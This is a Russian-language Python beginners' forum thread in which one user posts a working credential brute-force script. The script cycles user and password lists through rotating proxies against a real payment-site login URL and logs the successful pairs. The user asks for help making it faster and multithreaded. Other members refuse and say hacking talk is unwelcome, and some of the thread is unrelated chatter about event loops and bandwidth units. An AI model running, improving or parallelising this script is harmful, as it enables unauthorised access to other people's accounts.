Найти - Пользователи
Полная версия: Pool threading
Начало » Python для новичков » Pool threading
1 2 3 4
ZZZ
Это главный цикл обработки событий. Это не просто бессмысленный и беспощадный:
while True:
pass
Другое дело, что тут обрабатывается только одно событие… В реале же, если вы будите обрабатывать кучу разных.
Если хотите получить более адекватную нагрузку на проц, вам надо воткнуть в этот цикл ожидание. Возможно это будет ожидание после конкретных событий, или более сложное, угадывающее, сколько времени можно “поспать”…
А вообще, посмотрите на загрузку проца фуллскрин-играми. Обычно разработчики не думают о том, что можно разгрузить ядро, и получают максимально быструю обработку событий. Так проще и всех устраивает.
n0th1ng
Народ помогите плз в питоне только начинаю разбираться как максмильно увеличить скорость вот етого брута!!! Желательно еше и многопоточность сделать


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib
import re
import sys

users = open('users.txt', 'r').readlines()
passwords = open('passwords.txt', 'r').readlines()
proxies_file = open('proxies.txt', 'r').readlines()
hello = open('results.txt', 'w')

count = 25
proxies = []

for line in proxies_file:
proxies.append(line.strip())

def get_proxy():
try:
proxy = proxies.pop()
except IndexError:
print 'Proxy list is empty!'
sys.exit(0)
return proxy

proxy = get_proxy()
print 'Proxy: ' + proxy

for user in users:
user = user.strip()
for password in passwords:
if count == 0:
proxy = get_proxy()
print 'Proxy: ' + proxy
password = password.strip()
data = urllib.urlencode({'username': user, 'password': password, 'loginSubmit': 'Submit'})
try:
page = urllib.urlopen('http://payment.garena.com/index.php?c=VXNlcg==&a=bG9naW4=', data, {'http': 'http://' + proxy}).read()
login = re.findall('Login successfully', page)
except:
proxy = get_proxy()
print 'Proxy: ' + proxy
page = urllib.urlopen('http://payment.garena.com/index.php?c=VXNlcg==&a=bG9naW4=', data, {'http': 'http://' + proxy}).read()
login = re.findall('Login successfully', page)
if len(login) != 0:
print 'Login successfully: ' + user + ';' + password
hello.write(user + ';' + password + '\n')
else:
print 'Incorrect login: ' + user + ';' + password
count -= 1"
и еше как можно сделать чекер+парсер по экспе допустим заранее спс)
ZZZ
1. Новый вопрос – новая тема.
2. Тег “code” не дураки придумали, так что им не зазорно пользоваться.
3. Брутфорсы на питоне не пишутся. Они пишутся на asm для x86. Вот начни изучать asm и тебе обязательно помогут в этом вопросе.

P.S. :-)
n0th1ng
перваначально на питоне а потом переводятся но смысл как организовать многопотоковость таже!
ZZZ
Угу, я научу тебя писать брутфорсы, трояны и прочие спамилки, а ты потом устроишь мне головную боль, когда с твоей помощью у меня начнут сервера падать… Лучше начни изучать asm и пока его учишь, дурь из бошки-то да выйдет!
DHT
Обсуждение хака здесь не приветствуется. Так что думаю вряд ли тебе кто-то поможет с твоей задачей.
Skyler
sypper-pit
Работа с прокси проще…
Проще чем 1 строка кода?
ZZZ
3. Брутфорсы на питоне не пишутся. Они пишутся на asm для x86
oO вот этого не понял.
o7412369815963
и вообще зачем бесконечные циклы в конце программы?
Чтобы видеть вывод, чтобы окно консоли сразу не закрывалось.
o7412369815963
может: канал 800кбит, а скачиваний 100кбАйт, тогда все сходится
Я отличаю кбайты и кбиты.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Powered by DjangoBB